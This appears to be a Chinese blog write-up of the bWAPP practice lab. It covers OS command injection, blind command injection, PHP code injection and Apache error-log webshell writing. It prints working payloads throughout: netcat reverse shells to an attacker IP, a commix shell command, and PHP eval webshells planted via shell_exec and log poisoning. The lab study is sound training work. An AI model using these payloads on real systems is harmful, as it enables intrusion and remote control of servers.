bWAPP OS Command Injection(Blind) / PHP Code Injection 系统命令执行

前言

命令执行注入漏洞(Command Injection), 是程序能够调用函数, 将字符串转化为可执行代码, 且没有考虑到攻击者可以利用字符串, 造成代码执行漏洞。很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

具体见之前的blog:  漏洞之执行漏洞

 

 

0x01  OS Command Injection

分析

如果lookup之后没有输出,  是由于缺少nslookup命令,  到服务器上安装即可:

sudo apt-get install dnsutils

Low

Low级别没有任何防护,  直接通过os一行执行多条语句的原理注入即可:

www.baidu.com & ls /

www.baidu.com && ls /

www.baidu.com;ls /

cmd1&&cmd2 和 cmd1&cmd2的区别是:

前者是当cmd1执行成功才执行cmd2; 后者是不管cmd1执行成功与否, 都执行cmd2

漏洞利用

这里就要利用 commix  工具 ( it is very easy to find and exploit a command injection vulnerability)

这里主要用commix通过OS命令注入漏洞来反弹shell

拿到post的参数和cookie:

 然后用如下命令反弹shell:

commix.py -u "http://192.168.10.100:8080/bWAPP/commandi.php" --data="target=127.0.0.1&form=submit" --cookie="security_level=0;PHPSESSID=io6hpc2e5ano5kf33f0du3l385;"

--data对应是的post给服务器的数据,  --cookie是响应成功的cookie数据

Medium

经过测试发现&、&& 和 ; 都被替换为空了:

然后操作系统是Linux,  管道符没有被过滤:

www.baidu.com|pwd

当然同样可以使用commix来反弹shell

High

将关键连接符都过滤了, 安全:

 

 

 

0x02  OS Command Injection(Blind) 

发现没有任何回显,  判定为盲注类型:

分析

为了证明在盲注下,  注入的命令也能成功执行,  现在服务器当前网页目录下创建一个test.txt文件

在Low级别注入rm命令:

127.0.0.1 & touch ./test.txt

然后进入服务器查看没有创建成功..

怎么回事?  权限不够?

修改command_blind.php源码:

然后命令注入查看当前用户:

127.0.0.1 & whoami

果然如此...用户是www-data,  不能在root用户组的文件夹下写操作

判断注入点

那么不知道源码的情况下怎么判断注入点呢?

这里根据相应时间来看:

  • 错误ip:  2ms

输入空ip时,  响应时间为2ms:

  • 正常ip:  8ms

正常ping:

  • 注入命令的ip:  

注入sleep命令,  让系统休眠10秒:

Low

  • 直接上commix:

  • nc反弹shell

现在攻击者的服务器上监听4555端口:

nc -lvp 4555

然后进行命令注入, 即可反弹shell

127.0.0.1 && nc 192.168.10.100 4555 -e /bin/bash

192.168.10.100 为攻击者的ip

Medium

和上一题非盲注的一样,   没有过滤管道符,  同样可以Command Injection:

127.0.0.1 | nc 192.168.10.100 4555 -e /bin/bash

High

安全

 

 

0x03  PHP Code Injection (php代码注入) 

分析

点击message链接:

并且写入网页中: 

Low

首先尝试xss:

http://localhost:8080/bWAPP/phpi.php?message=<script>alert(1)</script>

发现不行,

继续尝试系统命令执行注入:

http://localhost:8080/bWAPP/phpi.php?message=pwd

也没有被执行,  只是输入了:

加上shell_exec()函数:

http://localhost:8080/bWAPP/phpi.php?message=shell_exec('pwd')

执行成功,  马上写后门:

http://localhost:8080/bWAPP/phpi.php
?message=shell_exec('fputs(fopen('hack.php', 'w'), '<?php @eval($_POST["hack"])?>')')

上菜刀链接即可。

其实也可以直接上菜刀,  因为message参数值是一个"字符串能被当做php语句执行的可控变量":

设置的时候要传security_level=0才可以:

当然也可以像之前的那样, 用nc来反弹shell

Medium&High

在Medium和High等级中,  都将预定义字符转化为HTML实体了:

安全

 

 

0x04  Apache错误日志写Webshell

apace会将用户访问网站导致的错误日志写入对应的日志文件中,  但是如果是用户恶意的错误日志被写入,  就会导致webshell入侵。 

分析

以bWApp靶场为例,  它是由Apache搭建的,  可以从其配置文件中看到日志写入位置:

简单验证一样错误是否会被写入:

漏洞利用

直接写webshell:

http://localhost:8080/bWAPP/<?php @eval($_POST["hack"]); ?>

 来呀! 上菜刀!

当然直接执行是不可以的(至少我这边不可以 = =),  有两点:

1.  默认是在网站根目录 /var/www/ 下的,  日志文件是在 /var/log/apache2 下的,  直接连接肯定是不行,  要配合目录穿越漏洞才可以。

2.  日志文件是 .log,  直接连接也是不能的,  这里要配合文件包含漏洞。

综上所述,  要实现错误日志写webshell,  就要配合目录穿越(不一定, 视情况而定)和文件包含漏洞。

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值